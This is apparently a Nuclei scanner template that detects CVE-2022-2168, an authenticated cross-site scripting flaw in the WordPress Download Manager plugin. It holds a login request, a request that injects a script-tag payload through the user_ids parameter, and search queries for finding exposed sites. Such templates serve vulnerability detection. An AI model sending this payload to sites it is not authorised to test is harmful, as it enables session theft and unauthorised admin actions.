id: CVE-2022-2168

info:
  name: WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.
  impact: |
    Authenticated administrators can inject malicious JavaScript via XSS in the user_ids parameter, potentially stealing session cookies or performing unauthorized administrative actions.
  remediation: |
    Update the WordPress Download Manager plugin to version 3.2.44 or later.
  reference:
    - https://wpscan.com/vulnerability/66789b32-049e-4440-8b19-658649851010/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2168
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2168
    cwe-id: CWE-79
    epss-score: 0.13204
    epss-percentile: 0.94232
    cpe: cpe:2.3:a:w3eden:download_manager:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: w3eden
    product: download_manager
    fofa-query: body="wp-content/plugins/download-manager/"
    google-query: inurl:"/wp-content/plugins/download-manager/"
    shodan-query: html:"wp-content/plugins/download-manager/"
  tags: cve,cve2022,wp,wordpress,wp-plugin,xss,download-manager,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert('document_domain')</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('document_domain')</script>"
          - "No downloads found"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cd48367c7113e7f6b558c0772bc7702a2e2af337725c2fc571fe6c8f94ab2fe3022100fdee705754407c543bece0a05ff9783f01ce89825ede380f4a15c25494f83f72:922c64590222798bb761d5b6d8e72950